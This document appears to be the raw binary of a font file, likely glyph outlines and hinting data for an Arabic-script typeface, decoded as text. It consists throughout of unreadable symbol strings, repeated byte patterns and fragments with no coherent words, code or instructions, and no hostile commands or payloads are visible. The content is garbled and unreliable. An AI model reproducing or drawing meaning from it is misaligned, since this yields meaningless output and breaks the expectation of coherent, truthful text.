///10!!5!###rHGS@ ////<]10###!H @@  @4   /9=/<<//<+9=/<<<10#'77'$Hb ׶yyx #@    ///103#5!3###HGG)@     ///103#5!#3###HGGG !@   ///<10!!!##HFHS///<10#!$H,l@ /9=///<10##$HSW$'@ /<<//9/9/10##$HHH'88W' @   ///1053#5!#3WGBGGGW'///10#Hnw W$'@ ///10]#'$H'0W'///103!$'wGJ!'@/) !)i.@%) .0@>")> > i@)!?O>>>8H(y+?N]M]<]<M]<]<9999999910]'76327'#"''7&5432654&#"ՋsjitGGtijsGkklkwHHwn}~nwIIwn~}}llk #.48DHLRY`h@wz&S%c%#%3%C%Y=i=)=9=I=YAiA)A9AIAV;f;&;6;F;VCfC&C6CFCfhbdV`f`Y[i[**c*****u***3*C*S*cBB(-Wo]?]O]_]]]'VP(/(?(O((/ OGG23/3g<^P''O'_'' '0'@''R F"OM7K R6JMap999@9P9`999'W0^^'''_'o'@f''''$U-e-%-5-E--S++_oZP$$o!6 5## ! #j0eeo??????O??IJN/MMN1EQ2FN/]/]qr]q]]]q3]]]qr]]]/<<<<]]q]/<<<<]]q9/qq910]]q]]qq]]]]]]]]]]]]]]q]]#5#5!!5!#3#"'73253!5!!5353!#32##!!5!#"&54632#3!5!!334##324##32%#"32dCC?ddV4I(_tC~dYwdC~CddCdYeo|~ddd~C-Od?d ĺ[6.C?d{C~ddCcm !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ S0HH 44 4 /3/</3?310+++&'&'&4767670,h3g9JJ:f5d.l8<"8-}N౞Sy*K]SHW|@!!%!! @ % /|O@#%-.)$%!%%...@ 4!)!@c~9W=@C~~IIPPwccWCk55W==C%$ .--%$@%%c9Zg_@ccwPgg0TFI~}@TLPPT4T@ 4TTF5n0s ww00F/3/3/999/++3/99/9/9/993/2/23/293/2/?<<9/2/<9/9/9/9993/9/3/+2/]9/99993/3/9910&'&'632#"&'#"&5467732677327677"'&'#"&'#"&5467&&547673267&'&547673267&'&54767'3263 6 %%5)%  !** / & " wL=.(80?A{(p5p   C9.3'; $ 'B#:$X.4#72<Q=5-*$9 *jHk 6-- 0#U(()&%2&#;DL<;M!TL4"*"&RR{j70< '#*"%3wrI&.-'* )"+%"To #8 !y3 +@@?4  ?4 @ @ 4'$' @  $''/9/39/2/33//3/??93/+3/9/+99/+910#"'&#"'67632327'6654'&'667)02-c   & d2!54F2!31v ! $  PK(W L hu{,f-rt%-@+-@?4--'+#"?4""'+@ 4   @--""## @ 4 /2/9/2/+3/33//3/??3/+3/9/+99/+910#"'&&'.'&'733#"'&#"'67632327֌D)$%  '{' "!b)02-c   & d2!54%70q{'0$xh|2* ! $  V n 44 4%$-0@ *4004$@  -00(%$$ (;/9/39/9/2/3/9/99??2/3+/9993}/+910++47&'&547632&#"326'6654'&'667n*d5;- $+]!2!31f @.#8> 4PK(W L hu{,f-rt% 6 4,-@ *4--46!@  @ -,@ 4,,--&11 8;2/9/2/+9/2/3/9/99??2/3+/9993}/+10+47&'&547632&#"326#"'&&'.'&'733(*d5;- $+]!̌D)$%  '{' "!f @.#8> 470q{'0$xh|2*2cuq *J͹-@ 4@ 4@ 4@ 4@+B2H0:@BBH@4HH0@ 400  %%!  @ @2==E++E006EE(( !L 4 ;/+39/2/2/3/9/99?2/?2/93/+3/+3/99910++++#"'&'&'73276767"'&547632&'&#"47&'&547632&#"326uzBF3RAA8{1zmUU+OCL08VW&?')XM*d5;- $+]!a # >1]/j+1pgXfeO`% %13 @.#8> 42cuq-@R4@ 4@ @44  4%$-0 /$$@  (-00(%$$ (;/9/39/3/3/2/9/99?]?93/+]+3/+3/99910+47&'&547632&#"326'6654'&'667E*d5;- $+]!+2!317 @.#8> 4gPK(W L hu{,f-rt@6@ 4,.4&@ ..4@444 4   @ ,))11"@1@ 41@ 411 @ 4 8;2/9/2/+2/++2/3/9/99??3/+]3/+3/99910+#"'&&'.'&'73347&'&547632&#"326֌D)$%  '{' "!*d5;- $+]!%70q{'0$xh|2* @.#8> 42q;[> 4&@4)44*4 4Q1Cs}TePk @.#8> 4$6V9 4 @ 4L7N>TIIQ77Q< 4%Y ,@ 44 4" $*@ $$*@4**@ "' '''.;/2/9/9/2/3/9/99??3/3/+3/99910++!5!4'&'747&'&547632&#"326KNHl*d5;- $+]!%v>+Q[3M @.#8> 4%Y R3   /9/39/??910'6654'&'667R2!31$PK(W L hu{,f-rt%<   @ @ 4 2/9/2/+??10#"'&&'.'&'733֌D)$%  '{' "!%70q{'0$xh|2*: @ 44 4   A  A @"  4 */2/+2/9/9/99???93/9910++!"'&547673!54&'7'7Fr*9|oO6AM, DNJ%CT]a#b..G8vA:p27pT: ]4 4  */2/9/9/99??3/9910+!5!4'&'7'7KNHfNJ%v>+Q[3MT , '@ 4%% @ "")"(/3/9/9993/993/99?2/99+3/]993/9910'7'7#"'&54767'74'&'326NKALJ.GI07# !=#xWn/6- 908ːVTGn!=F\NO_T&?1 '#39?%%&/ @@ 4'+( . ((.ﵐ& @ @+#('  +1+/9/]999/993/99?2/]2/2/9993/+993/9910]'7'7#"'&'#"&5467&&5476733'32NKALJH7)\3s  !Wd"81<АVT[{\8>VND"*"$>t>DhmC7 :%$@ 44 4@ @ 4 A    A @&  4 */2/+2/9/9/993/99???93/+993/9910++'7'7!"'&547673!54&'7NKALJ`Fr*9|oO6AM, DVTzCT]a#b..G8vA:p27p:%%V{4 4     */2/9/9/993/99??3/]993/9910+'7'7!5!4'&'7NKALJKNHVT*v>+Q[3M%V:% (@ 444@ 4"4 4  @ @ 4 $A #$  $$##A @ *  4*/2/+2/9/9/993/993/99???93/+993/993/9910+++++'7'7'7!"'&547673!54&'7MJhNKALJ`Fr*9|oO6AM, DcVVTzCT]a#b..G8vA:p27p:%%  @ 44@ 44 4         */2/9/9/993/993/99??3/]993/993/9910++++'7'7'7!5!4'&'7*MJhNKALJKNHVVT*v>+Q[3M% 6N u0@- 4* 4y. 4@ 4 #"$@"$##2 +*/3/3/33/999]9/99?9/99?999/+9910+]++'7"&#"676323263!3#"'&'&547676UM}L@P4Z(#KB_Ep%Ӕ{F:؏XdOB@ 4 * 4y 4A?@B@ 4BB84=)%03"4-%%34=@BA??83@99""3433D))*/3/3/33/999]9/999/99??9/99?99999/+9910+]++#"&54767!3#"'&'&5476767&&#"67632326733'75yf WXoF:؏XdUB%(Y$e?n"%SaM3a5()4!:2KMM%Zh':$4%DVll^ (0jyǫdSZ b&T%  8RU=k\  @ T 4/9/+9/9/99?<2/93/9910!5!&'&'&#"676323'7=}/fFWHQS34/DhfEy+<KN%O,7J-Ad2m yT=k6N u,u@) 4* 4y* 4  @ .'*/3/3/33/999]?9/99?9910+]++"&#"676323263!3#"'&'&547676L@P4Z(#KB_Ep%Ӕ{F:؏XdO@ 4 * 4y@ 484=)%03"4-%%34=83@99""3433@))*/3/3/33/999]9/99??9/99?999910+]++#"&54767!3#"'&'&5476767&&#"676323267335yf WXoF:؏XdUB%(Y$e?n"%SaM3a5()4!:2K%Zh':$4%DVll^ (0jyǫdSZ b&T%  8R%=k<  @ T 4/9/+9/?<2/910!5!&'&'&#"676323=}/fFWHQS34/DhfEy+<%O,7J-Ad2m %=k6N 0@- 4* 4y. 4 #"$@"$##2 +*/3/3/33/999]9/99?9/99?993/9910+]++'7"&#"676323263!3#"'&'&547676MKL@P4Z(#KB_Ep%Ӕ{F:؏XdOH:%B-&>%)m-U_%j_%oft @     */39/9/9/99?2/9/3/9910]'7!"&546733!4'&'7NI@9[  *2>H:VB-&>%)m-U_%JFpr@ * 4* 4 4 4@ 44 4  :  /32/9/??910++++++#"'&'&'73276654'&'7^RztKEP=UHGB:~.%C9R',%nvhKH ( RK\OWFJLLVjJFpJF"@ * 4* 4 4 4@ 44 4 : $/32/9/3/99??93/9910++++++'7#"'&'&'73276654'&'7SMK9^RztKEP=UHGB:~.%C9R',ȑTnvhKH ( RK\OWFJLLVjJF>lWF@ 4@4! 4&4 4AAB:45,BB(55'( :, A145@ 455A ((''''#, @ 4 ABB?AAA=A @H  4*/]2/+2/]9/9/+<2/]9/9/+99??<?9?9/9/99/10++++#"&'###"'&546767327654'&'7327654&'732654'&'7O<[/*!/Z{,9ujt*$6(F-%5S2{_(#(%)K&C/ %!$& \WqBSFMVY6pE|CSdZGAR?Y4;#lW%?5;@5 4 )*"6**7667 /" 2* &)* 4**6@ 46776@ 4662=/2/+9/9/+99/+999?<<?9/9/9/999910+#"&'##"'&'##5327654&'73327654&'732654'&'7?M@\&/#3YA44"20PZQ#:) &.@CK$(*'":!)*A)%# %  $E:$<\*I%-9:"<^o+&!8> 7m>-Dq%?5>l Ro@ 44@ 4L 4*@4- 424 4  @ 4MMNF@A8NN4AA34 %+$F 8+ IM=@A@ 4AAM443333/8@ 4M(NN?MMMIA @ T% $ 4$$(*/]2/+2/]9/9/+<2/]9/9/+999/993/993/99??<?9?9/9/99/3/993/993/9910+++++++'7'7'7#"&'###"'&546767327654'&'7327654&'732654'&'7~MJhNKALJO<[/*!/Z{,9ujt*$6(F-%5S2{_(#(%)K&C/ cVVTz!$& \WqBSFMVY6pE|CSdZGAR?Y4;#l%? G@ 44@ 4A 4  @ C56.&''B66CBBC ; . @ 5>6'256 466B#&'@ 4''BCCB@ 4BB> I/2/+9/9/+99/+9999/993/993/99?<<?9/9/9/99993/993/993/9910++++'7'7'7#"&'##"'&'##5327654&'73327654&'732654'&'7!MJhNKALJM@\&/#3YA44"20PZQ#:) &.@CK$(*'":!)*A)cVVTz# %  $E:$<\*I%-9:"<^o+&!8> 7m>-Dq%?>lW1>@44 44 45-- <";2""2A @@  4 */2/+9/3/2/9/9??<?9?9/10+++!!"'&546767327654'&'73276767676324&#"!26\rjt*$6(F-%5S2wfXaRAJYD?{RHY?aIH`r%hFMVY6pE|CSdZGAR?Y&!Gg4OI17 2&&'>lW%>%0[ !))-  -& &2 /9/999?<2/9/9910!"'&'##5327654&'73276767676324&#"!26N61%2*T\Q#:)#=AXTqzX QBJXE@zQdqpmd%$E;#>l5B̹@44 4 4 4"911!" @& @ ?6""!!&&6A @D  4 */2/+9/3/2/9/99/99??<?9?9/3/9910+++'7!!"'&546767327654'&'73276767676324&#"!26/LJ>\rjt*$6(F-%5S2wfXaRAJYD?{RHY?aIH`rdTlhFMVY6pE|CSdZGAR?Y&!Gg4OI17 2&&'>l%)4z@ %  %--1 1 * *6 /9/9999/99?<2/9/993/9910'7!"'&'##5327654&'73276767676324&#"!26ILJ N61%2*T\Q#:)#=AXTqzX QBJXE@zQdqpmddTl$E;#9/I  #- 1jC=ibI_NXAE%5,e/k^B_9/I  #- 1jC=ibI_NXAEȑT5,e/k^B_E&#8gM\\3I;P-8xYsωu]^-d" #i(`*/K1"C8\j/2DAQK]G %n4/  @4 4  /3/3/33/9+99?9/]?]9/910+##53&&54632&&#"66Es$ś{P"QEn;cN]7K/w8v<b=21y//%'X(j@ $(4(  @$$$P  * /3/2/]9/9/9?<2/+9/9/99910#"'&'##532767'&#"#54763233'ACP$CViZZTHRO* (:5qG]%H[%%BE&#8gM\\3I;P-8xȑTѠYsωu]^-d" #i(`*/K1"C8\j/2DAQK]G %!4@ /   @ 4 4 # /3/3/33/9+999/99?9/]?]9/93/]9910+'7##53&&54632&&#"66KLFEs$ś{P"QEn;cNȑT@7K/w8v<b=21y//%',@ ( ,  4 ,@$ (((P$$$$./3/2/]9/9/99/99?<2/+9/9/9993/9910'7#"'&'##532767'&#"#54763233LKACP$CViZZTHRO* (:5qG]%H[ȑT%BFUc,%h/"!)XHNYwQ(W[%~ *0G]jwubW/8)%1'%Os%$%t@  # # @  4  !! '/9/99+9/99?2/2/993/9910'7!5!4'#"'&547632&'&#"326MJ)4.#I.528ZzB7*&#X4yVVYN %*Oht$%2-P%!j@  4    #/9/99/99?2/93/2/9910+]'7!5!267&'&547632'&'&#"XSW>W33s7>Yf5*Z):(OK`~ 2xi]igP'K,L Fgw5BѳT  4@ 4!@ 41::)@@ @ 6 4&6#-==#A @D  4*/]2/+9/99+9/993/99??99/3/2/993/9910+++]'7'7!"'&54767327654&'#"'&547632'&'&#"3262NKALJz&#A* nfՠ &M'X7C:AYuD: *0-:%-"VTh]PWvxxF6J5C?>9FQ3-(0aqgt>).#$Fgw%$)@@ 4" '""'  @  4   %%  + /9/99+9/993/99?2/2/993/+993/9910'7'7!5!4'#"'&547632&'&#"326NKALJ4.#I.528ZzB7*&#X4VTYN %*Oht$%2-P%%@  4  " ""  ' /9/99/993/99?2/93/2/993/9910+]'7'7!5!267&'&547632'&'&#"U}ViO{SW>W33s7>Yf5*Z):(ORQ 2xi]igP'K,L -%3(I%84 @ /H# /&&&H@ @ 4 2:=>353%'IB@&>2SSQ!@ ('K-J.&D!O#N%'I#v@  4 4! 4   #    4 % /9/+99/9?<9/2/10+++#"'&'##5327676767'&'&''hCTaJ:yt[G7-=YPCE)7s &0!$:%#=G7.$AXA:iTrG:8/2 !2'>%'IEl5v$ 4@4 4 4 A ! @ 4!! A @&  4 */2/+2/9/9/+99??9?3/9910++++'7!"'&546767327654'&'7KHjt*$6(F-0S5($ViqFMVY6pE|CSfXN:QEl5v%[ 4 4   */2/9/9/99??3/9910+'7!5!4'&'7LJKNH‘Tv>+Q[3M%6 q%'n@ # & &@  #)# /9/]99?2/2/2/99910]#"'&'#"&5467&&5476733'32H7)\3s  !Wd"81<%{\8>VND"*"$>t>DhmC7 p(5C@: 4:-=2-#4##--2 A @=:2)# 40##)00 )@ :@ 4:: 6E /3/9/+9/9/9+99999??9/2/3/+9/999+10#"'&'##53267&'&54677667&54767%4'&#"6764'&'326$'')pgGt5C[ZZ)LA c!E,@a{G^..Pz+8#3)%<=2 :GM40.B #/S7=ts+=+)C#J/51U'o)4&"."" 22@ *. &. &. * **6/9/9/9/3/999?<3/3/9910!#"'&57#536767632!%4#"6764'&'326'@-9@xdx#*5:C;/.(+<5[>H(t_\5@#%7EQN/;SdH]Pe@Jl=X7!C_^-i&,OI<nGV2cu *u@ 4@ 4@ 4  %%!  (( !, 4 /+39/?2/?2/910+++#"'&'&'73276767"'&547632&'&#"uzBF3RAA8{1zmUU+OCL08VW&?')Xa # >1]/j+1pgXfeO`% %132cu25$62V;?Cչ&@4)44*4 4<>?==@BCA!' A 9' 4 0=?<>>ACB@@$3 @ ,$,@E! 4 $ 9/2/+3/3/99/9/993/99??+??99?993/9910+++&&#"332!"'&54767673276654&##"&54767632'7'7 #a2W`X+5PHE`^f".<*?Cx+B71Cs}TePߐVT$N6:>33 @ 4:44 4,./4,,"@ >79::88;=>>< 4<58:799<>=0;;;/& / @@  4 9/2/+9/9/9/]993/99?2/9?+]993/]993/]9/+9/+10]+++q#"32!"'&54767327654&#&&#"&54767633'7'7])0Q0{@b(&%9zՏm#s?6I+Q[3MDVTr@DNe0@TVJOce@?4ee_c[WZ?4ZZS_WWc@'SS.<;K.7 4H7#K##@ 4##.KK?.@K@eeOZOZ[[#*7HK@@ ??<<;;  @ 4*E@ @ 4 @ 4 g@**/]3/++9/9/+2/3/93/3/9999993/33//3/???9/9/+]99+99993/3/9/+99/+910]'#656767&'&'&'&#"#"'&'&&5476326765'4674&'276#"'&#"'676323270;"%P&jruF #T!  /)-$ )NEUKIf-/C9,Kw:v2U)02-c   & d2!54F[~F(?A%4# LA[7<+#,'9.=+>#5NFreuJ^x!Bk,+$+/6'f$  ! $  I>UD44ֳ4)ֳ 4(@ 4[+"@% 4+* 4*J 4)T 4(@ 4?SU@?4UUOSKGJ?4JJCOGGS@CC @ 4  0@ 4>03'&&>@ UU?J??JKK  4@ 4 7- 0033-77W&&/3/2/3/]99/++3992/33//3/?3/??9/+9/9/+92/3/9/+99/+910+++++]+++++&'&#"#"'&'&5432#"'&54&5!5$767654&'76733#"'&#"'6763232708nzF:I,;)Ht=T3=`KY n!$=)02-c   & d2!540}4#,:NX?[eW[n6ct& Q;^{bYT1"sc~6$ ! $  & DNn@Q@, 4TVJ<;K.7 4H7#K##@ 4##.K?K. 4..T?OdfVlTT4Tllf^@ 4^K@ dVaaiOOiTTZ@@ii#*7HK@@ ??<<;;  @ 4*E@ @ 4 @ 4 p@**;/]3/++9/9/+2/3/93/3/9999993/2/3/9/99??+2/3+/999?3/+9/9/+]99+999910]+'#656767&'&'&'&#"#"'&'&&5476326765'4674&'27647&'&547632&#"3260;"%P&jruF #T!  /)-$ )NEUKIf-/C9,Kw:v2U4*d5;- $+]!F[~F(?A%4# LA[7<+#,'9.=+>#5NFreuJ^x!Bk,+$+/6'f$  @.#8> 49 >^NA 4)ֳ 4(@ 4[+"@/ 4+* 4*J 4)T 4(@ 4  @ 4 @ 4> >03'&&>4@ 4DT?VF\DD4D\\VN@ 4N@ TFQQY??YDDJYY  4@ 4 7- 0033-77`&&;/3/2/3/]99/++3992/2/3/9/99?+2/3+/9993/++?3/?9/9/+9/+]910+++++]]+++&'&#"#"'&'&5432#"'&54&5!5$767654&'7673347&'&547632&#"32608nzF:I,;)Ht=T3=`KY n!$=*d5;- $+]!0}4#,:NX?[eW[n6ct& Q;^{bYT1"sc~6$ @.#8> 4SDNn@Q@ 4TVJdOfVlT^@ffl@4ll@TTT@* 4TT<;K.7 4H7#K##@ 4##.KK?.K@ dVaaiOOiTTZ@@ii#*7HK@@ ??<<;;  @ 4*E@ @ 4 @ 4 p@**;/]3/++9/9/+2/3/93/3/9999993/2/3/9/99???9/9/+]99+99993/+]3/+3/99910]+'#656767&'&'&'&#"#"'&'&&5476326765'4674&'27647&'&547632&#"3260;"%P&jruF #T!  /)-$ )NEUKIf-/C9,Kw:v2U*d5;- $+]!F[~F(?A%4# LA[7<+#,'9.=+>#5NFreuJ^x!Bk,+$+/6'f$ P @.#8> 4J>^[A 444ֳ4)ֳ 4(@ 4[+"@ 4+* 4*J 4)T 4(@ 4T?VF\DN@ VV\@4\\D4D@ 4DD& @ 4  0@ 4>03'&&>@ TFQQY??YDDJYY-&  4@ 4 7- 0033-77`&&;/3/2/3/]99/++3999/2/3/9/99?3/??9/+9/9/+93/++3/+3/99910+++++]++++++&'&#"#"'&'&5432#"'&54&5!5$767654&'7673347&'&547632&#"32608nzF:I,;)Ht=T3=`KY n!$= *d5;- $+]!0}4#,:NX?[eW[n6ct& Q;^{bYT1"sc~6$ @.#8> 4SDN@)TVJ<;K.7 4H7#K##@ 4##.KK?.@K@ #*7HK@@ ??<<;;  @ 4*E@ @ 4 @ 4 P@**/]3/++9/9/+2/3/93/3/999999???9/9/+]99+999910]'#656767&'&'&'&#"#"'&'&&5476326765'4674&'2760;"%P&jruF #T!  /)-$ )NEUKIf-/C9,Kw:v2UF[~F(?A%4# LA[7<+#,'9.=+>#5NFreuJ^x!Bk,+$+/6'f$ J>44ֳ4)ֳ 4(@ 4[+"@- 4+* 4*J 4)T 4(@ 4 @ 4  0@ 4>03'&&>  4@ 4 7- 0033-77@&&/3/2/3/]99/++399?3/??9/+9/9/+910+++++]+++++&'&#"#"'&'&5432#"'&54&5!5$767654&'7673308nzF:I,;)Ht=T3=`KY n!$=0}4#,:NX?[eW[n6ct& Q;^{bYT1"sc~6$!!%!! @ !!%!! @ Fb1F=!!%!! @ !!%!! @ !!%!! @ FQ F!!%!! @ !!%!! @ HFZ!!%!! @ !!%!! @ !!%!! @ FIFWFKF=H@.J0wG!!%!! @ FF[!!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ >@ 4 /3/9/?2/+?10#4'&'&54632#"&54632+9 %F79IH42HH42HCv~:~-=]\72HH23JJ"  /?10#"&54632O76LM58N6ON76ONW *  /3/?2/10#"&54632#"&54632N85LJ78NO75LK68N8NN87NN6ON76ON!!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ %/?10!5!F%%/?10!5!F%%/?10!5!F%c, 4'@4' 4 4 4 4@F 4(  % (,,&U# U U U U8U&U U޴ U U U UҴU@ 4&! U !!c-]+/]++++++++3/++++++9/99???9/910+++++++3276'&#"%53#"$576!2676'+u߃&4Ŀ;_I[%rIѥ|B[Lly[h18-VD@,@Y' 4 4 4@4 4)  % (,,& U0U U$@U U UUӴUִ U@0 U $@$%4! U! U! U! U!U!@U! U! U! U!?!!1-]++++++++++/]+++++++3/+++9/99???9/910++++]327654'&#"%53#"'&763266'YTSYZTSYB&1v䅉ۋiD;lffmʿkfelѥ|BVHA'vm*ZU%%4 4 @ 4&!@6 %% U& UD U U UDUDU& U@ U U@ U U UӴU@U& UU U U U UUU4]&+++++++++/++++++++<3/+++++++9/????9/910]++53# &53327636765$c24gs8$"}V[œFѥ> ~PRO]YcafNl*v&$ 4@S4 4    $$& U U- U U U 3%,UU@ U U@ U U U޷U%U@U U U U UU@364 N%]q++++++++/++++++++<3/+++++9//????9/9910+++53#5#"&&'&533266536765\$\|]P #S:?Uѥ>GnO6r/T9a*vE+, 4S@`/]}?10+#'3/+, 4S@`/]}?10+#'3 #S 4@ 4//@ 4S@`p/]]/+]qr+10+#3 T+A44 4SO`/]+}?10++3#+@+84 4SO`/]+}?10+3#^+s #T4@ 4//@ 4SO`/]/+]qr+10+]3##),@ 4 @4 4%4@ 794@SZ4 @   W@ 4p/]+3/93/}?}++++]qr+9910+7676'&#"'6#55*[? 'i{NVp^ ^'*Ce2p m,@* 4 @@|4@RU4@KL4@<>4@&64 @4  /3/93/+}?q+++++9/99CTX@ 4+Y10+7676'&#"'6#51'T< $b]  AZ?7,@ 4 @4 4%4@ 794@SZ4 @   W@ 4p/]+3/93/}?}++++]qr+9910+7676'&#"'6#55*[? 'i{NVp^ ^'*K]2pgm,@* 4 @@|4@RU4@KL4@<>4@&64 @4  /3/93/+}?q+++++9/99CTX@ 4+Y10+7676'&#"'6#51'T< $b]  AZ?7I;0_ 4 @7 4 4  EE   @ 4?  v v@o/]3//]+qr3/]9/]2/10+++&6323273#"'&#"q[>k;#= ?gCNIf~6W8$_|+ٳK @ 4 4@@ @^5 @OS4 @CE4 @+-4o    @a  / O _  _ o   @5 @jl4 @a5 @\]4 @WY4 @MQ4 @DI4 @:5 @144 @.B4 @',4 @%4 4  /3/}/+++++++++++++]qr3/]q++++3/10++]&6323273#"'&#"q[>k;D= a?gCCN|R[,F,Lr s 4 @ 4 4  E@4!&4E / ? /  @ 4 @6>4?  v v@o/]3//]++qr3/]9/+]2/10+++&6323273#"'&#"sq[>k;#= ?gCN f~6W8$_f= 44 @#(4 /3/?q+10++&'3327673#"'&N;@AC@;OIMp#v#%H$&9O9@4 4/++9?r910#73#ЯC{{(@k;#= ?gCNIf~6W8$_I0k 4 @A 4 4  EE O  @ 4? O  v v@P/]]q3//]+qr3/]9/]2/10+++&6323273#"'&#"q[>k;#= ?gCNIf~6W8$_IM0k 4 @A 4 4  EE O  @ 4? O  v v@P/]]q3//]+qr3/]9/]2/10+++&6323273#"'&#"q[>k;#= ?gCNIf~6W8$_ri@2 4 4 4EE    @ 4 v v4 4o/]++3//+]r3/]9/]2/10+++&763232673#"'&#"s:9Y>k;# "mT?gC"h>>6#4rr8$/Hi@2 4 4 4EE    @ 4 v v4 4o/]++3//+]r3/]9/]2/10+++&763232673#"'&#":9Y>k;# "mT?gC"h>>6#4rr8$/ji@2 4 4 4EE    @ 4 v v4 4o/]++3//+]r3/]9/]2/10+++&763232673#"'&#"k:9Y>k;# "mT?gC"h>>6#4rr8$/}}J}{}}e} b#S 4@ 4//@ 4S@`p/]]/+]qr+10+#3  #T4@ 4//@ 4SO`/]/+]qr+10+]3##`i@2 4 4 4EE    @ 4 v v4 4o/]++3//+]r3/]9/]2/10+++&763232673#"'&#":9Y>k;# "mT?gC"h>>6#4rr8$/}_,}]vC}t}}l9}jX%}V]}},}*|+nK @ 4 4@@ @^5 @OS4 @CE4 @+-4o       /3/}?3/]q++++3/10++]46323273#"'&#"p[>k;D= a?gC@Q|R[,F,LI0k 4 @A 4 4  EE O  @ 4? O  v v@P/]]q3//]+qr3/]9/]2/10+++&6323273#"'&#"q[>k;#= ?gCNIf~6W8$_|4+nK @ 4 4@@ @^5 @OS4 @CE4 @+-4o       /3/}?3/]q++++3/10++]&6323273#"'&#"q[>k;D= a?gCCN|R[,F,LI40k 4 @A 4 4  EE O  @ 4? O  v v@P/]]q3//]+qr3/]9/]2/10+++&6323273#"'&#"q[>k;#= ?gCNIf~6W8$_<&@@Op  % U U U@ U U U@ U /]+++++++??10]rq33&Y&$}4 5<44A+++5J>&D}@ 99:/7A+]5Y,&$t@ ##"A+]5J &D4:LUL@ULpLLPL`LLLLLLʱH++]qr++5Y+&$'|q0@*4H+A@(4/+5+5++]q5J#&D'KZ_BB@=4B;H+: :0:p::::::::@.24:=A>/>>_>>@ 4>/+]qr5++]qr5++]5Y+&$'|n'@H+A@(4/+5+5+]q5J#&D'-Y@E?@&34?@4?<H+: :0:p::::::::@.24:=A>/>>_>>@ 4>/+]qr5++]qr5+++5Y,&$'|u1)@4)))(AA@(4/+5+5+]q+5J,&D'tHb@ SOSSS@>4SR;/>>_>>@ 4>/+]qr5++]qr5++]q5Y+&$'|<0@"@ 4@4 AA@(4/+5+5+]++5J&D'ztT@A?O??I:=A: :0:p::::::::@.24:=A>/>>_>>@ 4>/+]qr5++]qr5+]5Yh&$'|}455<44@AA@ (4/+5+5+++5J&D'}C@0@@A/7A: :0:p::::::::@.24:=A>")+++]qr5+]5Y+&$'{q4#AB4#@95##H+A @-4 /+5+5+q++5J#&D'H7@ `HpHH[HH@4HCH+<<h+<")++]5++]q5Y+&$'{n\ @-4 /+5CTX@T##AA+5+5@#@894#@)14#@ 4@#o####@ H+A+5+q+++5YJ#&D'\*IPIIC@H+<<h+<")++]5+]5Y,&$'{u;@ 6666*246@!(465AA @-4 /+5+5+++r5J,&D't\B@0PZ`ZZZZZ0ZpZZZZZZZYA<<h+<")++]5+]qr5Y+&$'{P,@###/##-AA @-4 /+5+5+]q5J&D'z+F@ 4FP?9A<<h+<")++]5++5Yf&$'{}45$5<4$4@$%AA @ -4 /+5+5+++5J&D'}&@GGH/7A<<h+<")++]5+]5&(}\@    A+]5K>&H}P`ش A+]5,&(t A+5K &H*@2222221 A+]q5&(|j@  A !)++5K&H@ * A)++5+&('|q0@*4H+A@(4/+5+5++]q5K#&H'LK_((@/4(!H+ @;5 @-24  # A /  _  @ 4 /+]qr5+r++5++]5+&('|n4@%@:5H+A@(4/+5+5+]qr+5K#&H'.Q@=%@U%@&34%@4%"H+ @;5 @-24  # A /  _  @ 4 /+]qr5+r++5++++5,&('|u1&@ 4&&&%AA@(4/+5+5+]q+5K,&H'tHQ@ O9999@0498!"A @;5 @-24  # A /  _  @ 4 /+]qr5+r++5++]5+&('|P$@AA@(4/+5+5+q5K&H'ztE@3%O%%/ #A @;5 @-24  # A /  _  @ 4 /+]qr5+r++5+]5h&('|}\$@  AA@ (4/+5+5+]5K&H'}9P&`&@&'A @;5 @-24  # A$")++r++5+]5c,&,t:@ UA++5 &CTXA+O"H++qY5&,} A+5|I&L}z@ @mo4O  A+q+5c&2}  A+5D'>&R}  A+5c,&2t8@p00000/A+]q5D' &R*@....-A+]q5c+&2'|qn0&&&@*4&H+!A@(4/+5+5++]q5D'#&R'MD_$$@)4$H+@.24A/_@ 4/+]qr5+r+5++]5c+&2'|n@4@%#@:5###### H+!A@(4/+5+5+]qr+5D'#&R'/C@1!@&34!@4!H+@.24A/_@ 4/+]qr5+r+5+++5c,&2'|u`16@ 46665!A!A@(4/+5+5+]q+5D',&R'tHL@ O55555@*454A@.24A/_@ 4/+]qr5+r+5++]5c+&2'| @#-!A!A@(4/+5+5+5D'&R'zt>@-!O!!+A@.24A/_@ 4/+]qr5+r+5+]5ch&2'|} @$% A!A@ (4/+5+5+5D'&R'})@"# A@.24A ")++r+5+5c,&jj@0o000%H+-!)++]q5D&k!@0O0_000%1H+-")++]q5c,&jCj @ ...%H+-!)++]q5D&kC!@_.o. .0..%H+-")++]q5cE&jt8@PAAAAAA@%%A+]q5D &k*@AAAAA@%%A+]q5c&jQ@ -9%%A-!)++5D&k@ -9%%A-")++5c&j}@ ../A+q5D@&k} ./A+5"&8}p@ OA+q5&&X}@P`p A+]5",&8t@ % A+]5 &X2@P------P-`-p-----@ 4-, A++]q5,&lj)'@95p'/'_'''H+&!)++]r+5&m@O(((E4@.34@$)4/@4@4@ 4/+]+]+q+++++]<++</<<10!5!#53#53u4 4@% 4@ 4?@ 4 @#%4@4 @9 4@4@Os4@>E4@.:4@$%4/@4@4@ 4/+]+]+q+r+++++<++</+]+++9910#7#53#53炇燇44  0444@#%4@ 4 @144 d4 